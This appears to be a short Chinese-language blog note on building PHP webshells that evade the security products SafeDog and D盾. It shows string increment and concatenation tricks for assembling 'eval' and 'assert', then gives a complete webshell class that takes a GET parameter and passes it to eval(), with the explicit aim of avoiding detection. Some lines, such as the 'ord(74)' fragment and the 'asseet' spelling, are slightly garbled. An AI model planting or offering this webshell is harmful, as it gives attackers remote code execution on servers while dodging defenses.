php中有一个有意思的特性,就是字符串也能使用自加运算符 ++
<?php
$a='evak';
$a++;
echo $a;
他的输出结果是
这是取字符串的最后一个字符转化为ascii码,加完后再转回字符
通过查询ascii码表得知 k 的ascii码值为107,自加后是108,再转回来就是l,得以拼接成eval
还有
$a='a'.'s'.'s';
$b='er'.ord(74)
什么,和我们前面的自加运算符,跟直接使用asseet是一样的
不要折腾在eval assert的拼接上,安全狗和D盾不拦截php的语法和函数,应该着重于参数的传递
在php中使用类,序列化进行参数的传递,直接调用eval,assert就能免杀
<?php
class test{
public $c;
function __construct(){
@$this->c=$_GET['id'];
}
}
$cc=new test;
$cc=$cc->c;
eval($cc);